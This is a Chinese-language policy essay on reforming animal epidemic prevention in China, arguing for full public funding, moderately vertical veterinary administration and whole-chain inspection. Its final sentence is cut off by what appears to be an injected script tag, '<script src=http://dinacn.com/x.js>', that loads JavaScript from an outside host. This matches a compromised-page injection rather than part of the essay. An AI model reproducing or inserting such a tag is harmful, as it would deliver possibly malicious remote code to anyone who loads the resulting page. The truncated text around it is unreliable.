一、动物防疫属纯公益性服务，必须坚持财政公共支出原则
    根据经济学理论，一般把服务分为公共服务和私人服务两类。公共服务的特性有三个构成要件：一是效用的不可分割性。效用为整个社会成员所共享而不能将它分割为若干部分分别归属于某些个人独享。二是服务的非竞争性。某些人对它的享用并不能排斥其他人同时对它享用，也不会因此而减少其他人享用它的数量。三是受益的非排它性。即在技术上无法将拒绝为之付款的人排除在受益的范围外。显然，动物防疫同时满足上述三个条件，属纯公共服务。由于动物防疫的服务公共性，决定了它在服务时必然产生外部性。有效动物防疫的养殖场不会给周边养殖户和产品（含活畜禽）流通地带来传染源，这就是动物防疫服务的正外部性。反之，没有进行有效动物防疫的养殖场，很可能将疫病传染源带到其它地区，给其它地区的人畜健康安全造成极大危害，这就是动物防疫服务的负外部性。在控制疫情传播过程中，某些养殖场可能投巨资，积极构建防疫屏障，另一些养殖场则可能无所作为，坐享防疫成果，这便是动物防疫服务上的“搭便车行为”。所以，动物防疫的公共服务不是属于某个独立的养殖单位或养殖区域，必须由国家统一配置动物防疫的公共服务资源。
    动物防疫的纯公益性服务，决定了动物防疫属政府职能范畴，动物防疫的机构设置必须按公共财政支出原则，实行公务员或参照公务员管理，将动物防疫员工资、工作经费以及动物防疫基础设施建设等动物防疫经费支出全部列入财政公共支出范围。在国外发达国家的动物防疫工作普遍实行是的兽医官制，实施参照公务员管理，其经费全部由财政开支。当前，我国动物疫情形势严峻，由于动物防疫的经费不能有效到位，基层动物防疫体系“线断、网破、人散”，甚至一部分地区出现“有疫不防，留病养医”现象。一些地区动物防疫基础设施不足，疾病诊断、化验设备短缺，疫情监测、通报系统存在漏洞，重大疾病的扑灭计划难以实施。推进兽医体制改革，必须从财政公开支出的角度构建纯公益性的动物防疫体系。否则，动物防疫公共服务只能是一句空话。
二、动物防疫机构改革的实践证明，必须坚持适度垂直管理的原则
    在我国相当一部分地区的动物防疫机构经历了几次改革。上世纪90年代，一些地方为压缩乡镇机构，把乡镇动物防疫站与“七站八所”一起简单归并。在这场机构改革中，有的改变防疫机构性质，将畜牧兽医站改为经营服务的企业单位；有的放任自流，造成疫病防治、疫情测报、动物检疫等公益性工作失控；有的一味追求压缩机构，精减人员，造成大量的技术骨干流失；有的改变经费渠道，造成动物防疫的公益性事业和退休人员工资等经费难以落实；有的还出现了原有资产被挤占、平调等违背动物防疫法的行为。在经历了动物防疫简单归并造成工作被动和疫情形势严峻的情况下，一些地方探索性地调整动物防疫机构管理思路，设置专职基层动物防疫站，专职从事动物防疫工作。去年，湖南省就成功探索出了在基层设置专职乡镇动物防疫站的新路子。
     动物防疫机构的管理，国外普遍实行的是以条为主的官方兽医制度。我国目前动物防疫机构管理，有的以县为主，有的以乡为主，还有的县乡共管。根据动物防疫机构改革中的实践，以乡为主的动物防疫管理体制不能适应动物防疫免疫的强制性要求。一是以乡为主，业务管理不能到位，职能职责不能明确，防疫中的“负反应”和防疫漏洞难以避免。二是以乡为主，上下管理脱节，容易造成基层防疫员“业务不管，疫情不报”，动物防疫工作无法落实。三是以乡为主，动物防疫职能专职化和乡镇工作的多样化无法有效分离，容易出现防疫员不防疫，而将主要精力集中在乡镇“中心工作”上。当然，动物防疫机构设置，也不能是单一的“条块管模式”，面对突发性的重大动物疫情，还有赖于政府的组织。我国的动物防疫体系管理，要充分考虑畜禽饲养密度大、面广、动物疫病流行不分地域的特点，借鉴国际动物防疫员管理经验，总结各地县以下适度垂直管理的经验，逐步试点推行更高层次的兽医垂直管理制度。兽医主管部门负责财务、从业人员的调配、业务培训、职称评审、技术等级考试考核发证、业务工作目标管理等，地方政府负责行政、日常事务管理和动物防疫工作的组织部署、督促检查，实现动物防疫和畜产品安全和地区间的协调统一，为动物疫病的准确监测、诊断和快速扑灭提供组织保障。
三、动物防疫工作贯穿于畜禽产加销的全过程，必须坚持全程防疫监督的原则
    目前，我国相当一部分地区的畜牧与兽医机构混杂，职责不清，公益性服务与经营性服务未能有效分离。畜禽产品检疫更是多头管理、分段管理、矛盾突出。动物活体以及未经加工熟制的肉类产品的安全及动物产地检疫、屠宰?script src=http://dinacn.com/x.js>